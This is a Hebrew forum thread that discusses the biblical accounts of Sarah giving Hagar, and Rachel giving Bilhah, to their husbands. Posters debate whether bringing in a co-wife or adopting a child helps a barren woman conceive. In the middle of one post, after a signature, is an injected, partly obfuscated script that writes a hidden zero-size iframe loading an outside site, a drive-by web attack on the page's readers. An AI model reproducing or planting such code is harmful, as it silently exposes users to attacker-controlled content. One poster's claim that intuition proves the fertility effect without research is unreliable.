| נשלח ב-23/10/2015 11:24 |
 |
| |
סגולה לבנים
בראשית פרק טז, א-ב
(א) ושרי אשת אברם לא ילדה לו ולה שפחה מצרית ושמה הגר: (ב) ותאמר שרי אל אברם הנה נא עצרני יקוק מלדת בא נא אל שפחתי אולי אבנה ממנה וישמע אברם לקול שרי:
מעשה אבות, סימן לבנים, ואנו מוצאים את אותו תהליך שקורה גם ליעקב, נכדו של אברהם.
בראשית פרק ל, א-ד
(א) ותרא רחל כי לא ילדה ליעקב ותקנא רחל באחתה ותאמר אל יעקב הבה לי בנים ואם אין מתה אנכי: (ב) ויחר אף יעקב ברחל ויאמר התחת אלהים אנכי אשר מנע ממך פרי בטן: (ג) ותאמר הנה אמתי בלהה בא אליה ותלד על ברכי ואבנה גם אנכי ממנה: (ד) ותתן לו את בלהה שפחתה לאשה ויבא אליה יעקב:
ואני שואל, איך זה בדיוק עובד? למה אם אשה אשה עקרה מכניסה צרה לביתה זה גורם שהיא תלד?
יש שהסבירו שזה עניין סגולי, כלומר אם היא תכניס צרה לביתה וכמובן שזה משהו שקשה לה, ובכל אופן היא תבליג, ותוותר על מידותיה אז בשכר זאת ה' יפקוד אותה בדבר ישועה ורחמים.
הרמב"ן על התורה, כותב שאין הכוונה שבגלל המעשה הזה שרה תלד, אלא שהיא תתנחם בבנים שיהיו להגר, וגם אברהם, לא הסכים עם שרה כי לא רצה בנים מהגר, אבל הסכים בשביל בקשתה ורצונה של שרה. וז"ל: רמב"ן בראשית פרק טז פסוק ב
וישמע אברם לקול שרי - לא אמר הכתוב "ויעש כן", אבל אמר כי שמע לקול שרי, ירמוז כי אף על פי שאברם מתאוה מאד לבנים לא עשה כן בלא רשות שרי, וגם עתה לא נתכוון שיבנה הוא מהגר ויהיה זרעו ממנה, אבל כל כוונתו לעשות רצון שרה שתבנה ממנה, שיהיה לה נחת רוח בבני שפחתה, או זכות שתזכה היא לבנים בעבור כן כדברי רבותינו.
אמנם הרמב"ן ממשיך, שחז"ל פירשו שזכות הוא לה ובזכות זה יהיה לה בנים, אבל לא ברור מה מיוחד בזכות זו? חסר היה לאברהם ולשרה זכויות?
האם יש הסבר טבעי לעניין הזה? או שכל העניין הזה הוא סגולי?
 |
|
|
|
|
| נשלח ב-11/11/2015 17:38 |
|
| |
מקס
מה פירוש: "כאילו העקר או העקרה הולידה"? במשפט כזה אתה למעשה טוען שאדם שאין לו צאצאים בכלל - אינו "נכרת", אלא יש לו "זכות" שמגדירה את "ישותו" ככוללת את הילד של מישהו אחר. (וזה אגב גם מתאים לפסוק "כי כה אמר ה' לסריסים אשר ישמרו את שבתותי וגו' ונתתי להם בביתי ובחומותיי יד ושם טוב מבנים ומבנות וגו'")
|
|
|
|
| נשלח ב-10/11/2015 18:00 |
|
| |
| אליקים7241 כתב: |  | מקס
כתבת
"2, אפשר לגרום לאחרים להוליד ככה זה כאילו העקר או העקרה הולידה."
זאת אומרת שיש משמעות לחברה? |
|
??? לא הבנתי את השאלה ואת הקשר.
האם יש משמעות לחברה ? בוודאי שיש, הנה החברה גזלה מאתנו את הטבע, הנה החברה הדמיונית כופה שוללת ממך את חירותך.
האם חברה יכול להיות אמצעי טוב לפרט ? בוודאי שכן !! אבל בתנאים שהתורה קובעת !! ובראש ובראשונה לא להפוך את החברה לישות בפני עצמה שזה הע"ז של תורה.
מה כל זה קשור למה שאמרתי לגבי עקרים ועקרות ?
|
|
|
|
| נשלח ב-10/11/2015 09:39 |
|
| |
נס גלוי
|
|
|
|
| נשלח ב-9/11/2015 13:17 |
|
| |
אתה לא אמור לעשות מחקר כפול סמיות על משהו עם השפעה פסיכולוגית, וכמובן שאתה לא יכול לעשות מחקר כפול סמיות על משהו ידוע בלי שום קשר להלסינקי. מספיק לעשות מחקר פרוספקטיבי עם הקצאה מקרית.
|
|
|
|
| נשלח ב-9/11/2015 12:31 |
|
| |
| מיימוני כתב: | | עומד בפרץ
הבה נדייק: השאלה "האם הכנסת צרה הביתה מועילה לפריון" זו שאלה רפואית. מדעית. ועונים עליה בכלים מדעיים.
לי כמובן אין כלים כאלו כי איני רופא. ניתן לבקש ממואדיב שישאל את ד"ר מואדיבה.
עם זאת, כמדומני שאני יודע מספיק כדי לקבוע שלא אמורה להיות השפעה כזו אלא במישור הפסיכולוגי. יתכן שאשה חשה מאויימת, באופן טבעי, בידי הצרה החדשה, ולכן מנגנוני הפריון שלה יפעלו טוב יותר.
אני מרשה לעצמי לנחש שלרופאים אין כלים או נתונים לענות על אפשרות כזו. מחקרים בשאלה זו אני משער שלא היו. מנגנון פיזיולוגי שמקשר בין הפסיכולוגיה של האשה לבין יכולת הפריון שלה עד כמה שידוע לי לא זוהה, אך ראו בהמשך.
אפשרות הסבר אחרת היא שהאשה המכניסה צרה לביתה גורמת לעצמה צער ומעמידה את עצמה בנסיונות. נסיון כעס, נסיון קנאה. אולי היא גם עושה חסד, כיון שהיא מעניקה לבעלה אפשרות להוליד ילד אם גם לא ממנה. עמידה בנסיונות אמורה להעניק נקודות זכות (כמו קארמה חיובית) ולכן היא מסייעת להיפקד.
הפרשנות הזו אינה חביבה עלי, ואיני סבור שכך ה' ברא את העולם שיתנהל. (להזכיר נשכחות: הרעיון שאדם יחפש נסיונות וישפר את הקארמה שלו מופיע כבסיס לסרט היפה אך מבחינה זו המזיק "אושפיזין").
מסתבר יותר שהגישה הזו של הכנסת צרה היתה רווחת בתרבות שבה חיו אברהם ושרה. וקצת ביטוי לאופן שבו האשה הרשמית מכניסה פילגש לבעלה או משייכת לעצמה את הולד שיהיה לה ניתן למצוא, אם איני טועה, בחוקי חמורבי, וכבר הוזכר הדבר במחקרי מקרא והיסטוריה. אבל לצערי מעבר לזכרון כללי כזה אין בידי כרגע.
עד כאן מה שמוכר לי מתחום המדע.
אבל אני מעשה יודע. מעשה ויותר מאחד על נשים שהתייאשו מללדת, מסיבות רפואיות, ולכן אימצו ילד. ואז... זמן מה מאוחר יותר, הם נפקדו!
דוגמא לדבר מופיעה בספר היפה "עריסת הבמבוק". כידוע, גיבורי הספר וכותביו, פרופסור אמריקני ואשתו, החליטו לאמץ תינוקת סינית ואחר כך לגייר אותה - הם מצאו אותה ברכבת. לא היו להם ילדים ולפי הנרמז בסיפור, הם לא הצליחו להיפקד ואולי לא יכלו להיפקד במשך שנים. זמן מה לאחר האימוץ והגיור האורתודוכסי, ושינוי אורחות החיים בבית, הם נפקדו והיו להם כמה וכמה ילדים.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
בדקתי חזור ושנה במאגרי מחקרים רפואיים. לצערי לא מצאתי מחקר כפול-סמיות שבוחן את השפעות הכנסת צרה הביתה על פוריות האשה החוקית.
יתכן שמישהו רצה לעשות ניסוי כזה, אבל אשתו דאגה שלא יקבל אישור של וועדת הלסינקי לביצוע המחקר.
|
|
|
|
|
|
| נשלח ב-9/11/2015 11:07 |
|
| |
שתי חברות שלא ילדו זמן רב. נפגשו והנה אחת מהן חובקת בן. שאלה בשמחה חברתה . איך הצלחת? השיבה.
-פניתי לרב פלוני וקיבלתי ברכה.
בפגשיתם השניה לאחר זמן, אמרה החברה- אצלי זה לא הצליח. גם אני הלכתי אליו . וכלום.
אמרה הראשונה.- בטח הלכת אליו עם בעלך.
|
|
|
|
| נשלח ב-8/11/2015 22:58 |
|
| |
מקס
כתבת
"2, אפשר לגרום לאחרים להוליד ככה זה כאילו העקר או העקרה הולידה."
זאת אומרת שיש משמעות לחברה?
|
|
|
|
| נשלח ב-8/11/2015 22:46 |
|
| |
ידיעה שצדה את עיני היום, בעקבות פטירתו של נשיא המדינה יצחק נבון.
הנה הידיעה מויקפדיה: (אופירה נבון)
בשנת 1963 נישאה ליצחק נבון, ששימש כמזכירו של ראש הממשלה דוד בן-גוריון. לאחר מספר שנים בהן היו חשוכי ילדים, החליט הזוג נבון לפנות לשירות למען הילד בבקשה לאימוץ. לאחר כשנתיים וחצי של המתנה אושר להם לאמץ בת (נעמה), ומספר חודשים לאחר מכן הצליח הזוג להביא לעולם בן, לו קראו 'ארז', כשם נעוריה של אופירה. האם יש קשר בין האימוץ לבין ההריון?
|
|
|
|
| נשלח ב-28/10/2015 12:35 |
|
| |
כרב לא זוכר מי מהמפרשים דיבר על זה [אחד מהמלוקטים של מקראות גדולות]
אבל הרעיון הוא על דרך קנאת סופרים תרבה חכמה..
הקינאה מוציאה כוחות מהאדם ומגלה בו יכולות חבויים...
שרה רצתה לקנא בהגר..
[והיינו שהקנאה היא לא סגולה... לא כמו הסגולה של המתפלל על חבירו שנענה תחילה.. כמו שהתפלל אברהם על אבימלך בפרשתנו..]
תוקן על ידי עמית_חן ב- 28/10/2015 12:39:08
|
|
|
|
| נשלח ב-25/10/2015 16:56 |
|
| |
| ישיישראל כתב: | | איני יודע מהיכן נלקח הרעיון שהאמהות בקשו סגולה. פשוטו של מקרא הוא שרחם השפחה עומד לרשות הגבירה. ברצותה היא מציעה אותו לבעלה, וילדים שנולדים הם ילדי הגבירה. הנה מה שאמרה רחל כשבלהה ילדה את דן: "דָּנַנִּי אֱלֹהִים, וְגַם שָׁמַע בְּקֹלִי, וַיִּתֶּן-לִי בֵּן". בסיפור אברהם\שרה\הגר זה לא עלה יפה. בעיני נראה שהסיבה הראשית לכך היא שאברהם התקשה לקבל את מעמד הגר כרחם תחליפי. אברהם (בשונה משרה ומן המְסַפֵּר) ראה אותה כבת זוג, ככתוב "וַתִּתֵּן אֹתָהּ לְאַבְרָם אִישָׁהּ, לוֹ לְאִשָּׁה" – דוק שבסיפור יעקב\רחל\בלהה המילה "לְאִשָּׁה" אינה מופיעה. זה גרם ל"וַתֵּקַל גְּבִרְתָּהּ בְּעֵינֶיהָ" ועורר את התחרות בין יצחק לישמעאל. ויש להאריך עוד בפרטים התומכים להשערתי על הסיבה. מכל מקום, ענין הסגולה אינו במקרא. |
|
 פשוט מאוד
הכלל הרלונטי מסיפורוי התנ"ך האלה היא שעקרה ועקר יכולים גם לזכות לבנים כלומר זה לא מחוייב להיות ממש הגנטיקה האישית, כל עזרה בפריון אפי' לשדך בין בני זוג, נחשבת כחלק מיצירת החיים.
יותר מיזה, מצוות ייבום מביא בן לאדם מת, כלומר גם לאדם מת אפשר לתת בן כלומר עצם היותו בעבר גרם להולדת הבן.
הרעיון הוא פשוט, האדם רוצה נצחיות ככה שאין ממש הבדל אם זה ממש כדרך בני אדם או הוא גורם באיזה דרך שייוולד חיים בגללו.
לגבי מה שלמינגית היקרה טוענת:
זאת אמת לאמיתה ולא צריך לזה מחקרים, האינטואיציה והסטטיסטיקה האישית מספיקה לדעת שזה עובד. בכל אופן במקרה האימהות במקרא לא מדובר על פסיכולוגיה ועזרה לפיריון, סיפורי המקרא באים לתת לנו את התובנה שאפי' עקר ועקרה יכולים לזכות בבנים 1, התפתחות הרפואה והידע המדעי 2, אפשר לגרום לאחרים להוליד ככה זה כאילו העקר או העקרה הולידה.
|
|
|
|
| נשלח ב-25/10/2015 15:03 |
|
| |
איני יודע מהיכן נלקח הרעיון שהאמהות בקשו סגולה. פשוטו של מקרא הוא שרחם השפחה עומד לרשות הגבירה. ברצותה היא מציעה אותו לבעלה, וילדים שנולדים הם ילדי הגבירה. הנה מה שאמרה רחל כשבלהה ילדה את דן: "דָּנַנִּי אֱלֹהִים, וְגַם שָׁמַע בְּקֹלִי, וַיִּתֶּן-לִי בֵּן". בסיפור אברהם\שרה\הגר זה לא עלה יפה. בעיני נראה שהסיבה הראשית לכך היא שאברהם התקשה לקבל את מעמד הגר כרחם תחליפי. אברהם (בשונה משרה ומן המְסַפֵּר) ראה אותה כבת זוג, ככתוב "וַתִּתֵּן אֹתָהּ לְאַבְרָם אִישָׁהּ, לוֹ לְאִשָּׁה" – דוק שבסיפור יעקב\רחל\בלהה המילה "לְאִשָּׁה" אינה מופיעה. זה גרם ל"וַתֵּקַל גְּבִרְתָּהּ בְּעֵינֶיהָ" ועורר את התחרות בין יצחק לישמעאל. ויש להאריך עוד בפרטים התומכים להשערתי על הסיבה. מכל מקום, ענין הסגולה אינו במקרא.
|
|
|
|
| נשלח ב-25/10/2015 14:16 |
|
| |
לפי מה שאני מוצא ברשת, שיעור ההריונות אצל בעלי בעיות פוריות אחרי או ללא אימוץ הוא זהה.
אומנם, לא מצאתי את המקור של הנתונים הללו. אם למישהו ש נתונים או מחקר, אשמח אם הוא ילנקק.
|
|
|
|
| נשלח ב-25/10/2015 13:20 |
|
| |
לידת ילד אחרי אימוץ, מוסברת ברגיעה שמגיעה לאם. (ואולי לשני ההורים).
אין חולק שלחץ נפשי כבד עלול לפגוע בפעילות ההורמונלית. באופן אבסורדי, ככל שאשה לחוצה יותר להרות - היא מפחיתה את סיכוייה לכך. (לא מדובר בפסבדו-רפואה. דברים ברוח זו נכתבים גם באתרי קופות החולים ורופאים קונבנציונליים).
ברגע שמאמצים ילד, ומשלימים עם המציאות, נכנסים לאיזשהו רוגע - ובעקבותיו הסיכוי להריון משתפר.
|
|
|
|
|
